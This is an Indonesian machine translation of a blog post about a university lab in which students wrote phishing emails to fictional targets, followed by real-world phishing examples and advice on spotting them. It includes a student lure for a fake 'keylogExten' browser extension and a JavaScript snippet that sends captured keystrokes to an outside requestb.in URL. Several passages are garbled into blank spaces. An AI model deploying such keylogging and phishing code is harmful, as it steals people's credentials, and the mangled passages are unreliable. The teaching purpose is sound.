Halo, Habr! Saya adalah editor blog ini, dan saya juga terkadang mengajar virologi di universitas.

Saya memutuskan untuk mendiversifikasi proses pendidikan dan menghasilkan beberapa tugas untuk siswa lima tahun - sedemikian rupa sehingga praktik dan relevansi, daripada menghapus kode dari tahun 2003. Salah satu tugasnya adalah untuk menciptakan dan mengirim surat phishing kepada orang-orang fiksi yang bisa eksis dalam kenyataan. Lagi pula, jika Anda tidak tahu cara menyerang, maka Anda tidak tahu bagaimana mempertahankan diri, bukan?

Saya akan menunjukkan yang terbaik dari apa yang terjadi: surat-surat apa yang dapat dikirim oleh para scammer atas nama Yandex.Money, bagaimana para siswa berpura-pura menjadi layanan, dan untuk hidangan penutup - metode yang digunakan para scammer saat ini (misalnya, beberapa surat yang diterima oleh para pengguna kami yang waspada).

Peringatan

Jangan melakukan phishing. Secara formal, ini adalah penipuan, itu dituntut berdasarkan pasal 159.6 KUHP Federasi Rusia. Pekerjaan laboratorium dilakukan dalam kondisi yang terkendali, surat dikirim ke kotak yang telah disiapkan, akses yang tersedia hanya untuk penulis pos. Siswa diperingatkan akan potensi pertanggungjawaban atas pengiriman surat phising keluar dari lab.

Semua karakter adalah fiktif, semua kebetulan dengan orang dan organisasi nyata adalah acak. Semua logo, merek dagang, dan nama milik masing-masing pemiliknya.

Saya sudah menceritakan kisah serupa sedikit lebih dari setahun yang lalu. Sejak itu, saya menjadi editor habrablog. Di tempat kerja saya banyak berkomunikasi dengan berbagai departemen, termasuk departemen keamanan informasi. Seluruh perusahaan, yang logis tentang uang, mendekati keamanan yang sesuai - dinas keamanan (SB) melindungi segala sesuatu dan semua orang di dalamnya, dan juga mencegah penipu untuk melakukan kejahatan atas nama layanan.

Dan karena saya memutuskan untuk memberikan tugas seperti itu kepada siswa, saya bertanya-tanya apakah mereka dapat dengan jujur ​​mengambil uang fiksi dari karakter fiksi. Motivasi penting di sini - semua ini dilakukan hanya untuk tujuan pendidikan, sehingga spesialis keamanan di masa depan memahami ancaman apa yang ada dan bagaimana melindungi diri dari mereka.

Dramaturgy

Semua orang berbeda - dengan pengalaman yang berbeda, pengetahuan IT dan kepercayaan yang berbeda pada orang - jadi saya datang dengan tiga karakter dan meminta siswa untuk menemukan pendekatan kepada mereka. Pembatasan itu murni teknis - surat itu harus dikirim ke kotak surat yang ditentukan, tidak boleh jatuh ke dalam spam, dan harus ada cara untuk mengumpulkan data pribadi. Yang mana merupakan kebijaksanaan siswa.

Tugas laboratorium penuh ada di bawah spoiler.

      .  1.        .  napechata.li/form    ,    . 2. ,          . 3.       ,   .   ,  ,      ,    . 4.   —        (, , ,  ) ,      .       . 5.  ,        ,    .  .  (,   , )       . 6. ,   ,    . 7. ,      ,    .    : 1.     2.  ,        3.        4.        5.  ,     

Valeria Valeryevna Golova, 31, Ust-Kamenogorsk

Pengacara di biro hukum swasta Soft Sign. Mail - odnagolowa@yandex.ru.

Valeria pada dasarnya adalah seorang humanis, tetapi seorang teknisi. Dia lulus dari Sekolah Tinggi Teknologi Informasi Ust-Kamenogorsk dan bekerja sebagai pengacara administrator sistem di sebuah perusahaan swasta yang beranggotakan empat orang.

Valeria suka menyimpan gambar lampu di jejaring sosial, memiliki blog di LiveJournal, tempat ia berbagi mimpinya, dan pada hari Minggu ia pergi ke konser gratis, yang ia temukan di grup "Konser gratis Ust-Kamenogorsk".

Khusanboy Erdashevich Sotvondiev, 19, St. Petersburg

Sopir taksi di armada taksi "Timoshinsky." Mail - husanboy7902301@mail.ru

Husanboy datang ke St. Petersburg dari Urgench, di mana ia bekerja sebagai sopir taksi selama 3 tahun. Sekarang dia terus melakukan hal yang sama di St. Petersburg pada Kia Rio lama, yang dia warisi dari seorang teman. Husanboy dulu merekam trek rap dan menerbitkannya tanpa nama samaran, tapi sekarang dia hanya mengikuti artis baru, jadi dia terdaftar di semua situs tematis populer.

Albert Mikhailovich Alberlive, 54, Khabarovsk

Wiraswasta. Mail - al.ber.live@outlook.com

Albert Mikhailovich telah melihat banyak dalam hidupnya - ia mengirim surat ke Mavrodi, mengisi air dengan Kashpirovsky dan merupakan agen platinum Tiens dengan jaringan 22 orang. Sekarang dia lagi menunggu pensiun dan, agar tidak membuang waktu dengan sia-sia, dia memutuskan untuk berinvestasi dalam bitcoin dan cashbury. Albert Mikhailovich memiliki profil di semua jaringan sosial, dompet elektronik di semua layanan berbahasa Rusia dan kepercayaan yang luar biasa terhadap orang-orang dan teknologi.

Terkirim

Tahun ini, siswa memiliki sedikit waktu - jadi surat-surat pertama tiba dengan cepat. Namun demikian, sebagian besar dari mereka mencerminkan pola phishing nyata yang ditemukan siswa di Internet dan mencoba menerapkannya pada kondisi masalah.

Albert Alberlive

Jujur, karakter ini paling membuat saya penasaran - apa yang akan terjadi, surat apa dan dari layanan mana akan terbang? Piramida keuangan, dompet elektronik, cryptocurrency? Siswa tidak mengecewakan - di Kotak Masuk ada surat pada semua topik ini dari sistem pembayaran paling populer. Saya ingin menunjukkan semuanya secara langsung, tetapi, sayangnya, ini tidak mungkin.

Phishing atas nama Yandex.Money

Pertama-tama, saya tertarik pada surat-surat atas nama Yandex.Money.

Semua siswa yang mengirim surat atas nama layanan mengambil pendekatan yang sama - untuk mengumumkan produk baru yang akan menyelamatkan Anda dari semua masalah dan membantu Anda menghasilkan uang. Seperti yang akan saya tunjukkan nanti, ini tidak cukup sesuai dengan perilaku nyata scammers.

Biarkan saya mengingatkan Anda bahwa semua aplikasi resmi Yandex.Money tinggal di bagian khusus di situs web Yandex , dan pengumuman potongan baru tinggal di layanan pers . Periksa di sana jika Anda tiba-tiba melihat pengumuman yang tidak biasa atau mengejutkan tentang Yandex.Money dalam sumber yang tidak bisa dipahami.

Sekarang mari kita lihat apa yang salah dengan surat-surat ini. Khusus untuk ini, saya menangkap Natasha, pemimpin redaksi Money, di koridor, dan menunjukkan tangkapan layar. Natasha tahu segalanya tentang bagaimana mereka menulis dan tidak menulis dalam Uang, yang saya manfaatkan.

Pertanyaannya sederhana: bagaimana memahami bahwa ini tidak ditulis oleh kami? Saya mengirimkan mikrofon:

Dompet Yandex. Cripto

Tingkat atas: tidak jelas mengapa pengguna bahkan menerima email tentang subjek ini; surat tentang apa cryptocurrency umumnya pandai, tetapi bagaimana mereka bisa berguna bagi saya tidak jelas.

Menurut teks: tanda seru (hampir tidak ada), klerikal di kantor (memastikan keamanan transaksi -) + kelalaian dengan tipografi.

Penyelamatan Yandex

- Nama + surat yang beredar.

- Ketidakpastian: apa artinya "dikompromikan"? Nah, apa yang harus saya lakukan dengan itu?

- Sekali lagi kanselir.

- Apa itu "pemulihan yang dikonfirmasi", saya ingin tahu.

- Tidak ada tombol heading + tombol (kami biasanya mencoba membuat kombinasi ini memberikan gambaran umum tentang esensi).

Dukungan teknis Yandex.Money

Semuanya buruk di sini: dari hal sepele seperti desain ceroboh ke pesan utama (mengapa, jika tidak, akun tidak dapat dipulihkan - itu adalah pemerasan pemerasan).

Secara umum, Natasha menyimpulkan, kami tidak menulis seperti itu. Mari kita beralih ke contoh-contoh penting lainnya.

Valeria Golova

 > ,  .       "Your Favourite Song".    ,        -!        ,      ,      !             .         ,            ,  ,          ,        -   -.       -          ,   .      . > 1.    https://goo-gl.ru/OK   zip-. 2.  zip-    . 3.       . 4.    "   ". 5.   ,           keylogExten. 6.                . 7.   ! >  ,  "Your Favourite Song". 

 function sendSymOnServer(page, data) { var xhr = new XMLHttpRequest(); var body = 'page = ' + encodeURIComponent(page) + '&data = ' + encodeURIComponent(data); xhr.open("POST", 'https://requestb.in/1fa7izj1', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(body); } 

 > ,  . >   ,   . >       .     .    ,     - ?                .        .      .      ""?         . >  , >  . 

Antiphishing

Ngomong-ngomong, setelah beberapa huruf pertama Yandex mengirim surat tentang bagaimana membedakan surat yang baik dari surat scammers. Vigil.

Husanboy Sotvondiev

Siswa memahami dengan baik semangat komik dari tugas dan mengirim hal-hal yang menyebabkan saya berbagai emosi dari tawa gugup ke kebingungan. Secara umum, menurut saya mereka melakukan pekerjaan dengan baik. Karakter menerima surat dari situs rap, denda dari portal layanan publik, surat dari perusahaan taksi (di antara mereka hanya ada satu dengan nama "Timoshinsky") dan, menurut tradisi, beberapa surat pribadi.

 >  ! >   .    - .        ,     .                6 .                .               .      ,        /       ,   /  ,        ,      . 

Seperti apa phishing di alam liar

Semua contoh di atas adalah fantasi siswa saya, dan mereka hanya berhubungan dengan kenyataan bahwa mereka semua dapat ditulis dan dikirim. Sangat mudah untuk melindungi diri Anda sendiri - cukup periksa tautannya dengan hati-hati, jangan mengunduh file asing dari lampiran dan perhatikan kesalahan ketik pada teks. Dan jika Anda tidak memasukkan data pribadi apa pun di situs-situs yang tidak jelas, maka Anda dapat menjalani seluruh hidup Anda dan tidak mengetahui bagaimana keadaannya ketika Anda mencuri uang atau mengambil pinjaman mikro untuk memindai paspor Anda.

Saya meminta kolega dari Dewan Keamanan untuk menunjukkan email phishing nyata yang hidup di alam liar sekarang. Ini hanya beberapa contoh yang menunjukkan bahwa scammers dapat mengambil trik yang sangat berbeda untuk mendapatkan uang Anda. Bahkan, ada banyak lagi, jadi Anda harus siap untuk semuanya.

Dompet Anda diisi ulang

Pengguna menerima pesan bahwa dompetnya diisi kembali. Dalam komentar tentang pembayaran, ada eyeliner iklan dan tautan ke situs di mana Anda bisa mendapatkan seribu dolar sehari tanpa melakukan apa pun untuk ini.

Ternyata scammers tidak hanya bisa memalsukan surat seperti itu. Faktanya adalah bahwa surat palsu dengan probabilitas tinggi tidak akan melalui filter spam dalam surat. Tetapi surat otomatis dari layanan, dibentuk setelah pembayaran mikro nyata ke akun, dapat mencapai.

Tautan dari komentar biasanya mengarah ke situs di mana orang berusaha mengambil uang secara relatif dari populasi.

Alamat IP Anda telah terdaftar

Surat yang diduga dari dukungan teknis Yandex.Money. Anda sudah tahu bagaimana membedakannya dari sekarang - terima kasih kepada Natasha.

Apa lagi yang terjadi?

Phishing, tentu saja, tidak hanya tentang surat.

Salah satu contoh sesuatu selain yang dikirim pembaca blog kepada kami. Bayangkan - ini adalah iklan Instagram palsu yang mengarah ke publik yang curang di VK, yang mengarah ke situs pendaratan palsu dengan jajak pendapat palsu yang menurut dugaan mereka membayar uang penipuan.

Tentu saja, mereka tidak benar-benar membayar.

Ini adalah iklan palsu.

Rantai ini bahkan memiliki kondisi "kirim tautan ke 20 teman di WhatsApp untuk melanjutkan." , .

- , « ?» ( , ) :

« 80000 , — . 150 ».

, , .

?

:

1. , .
2. , — , , .
3. — , , — . , .
4. , - , .
5. .
6. . , .
7. , . , - .
8. . .

, , , . , . .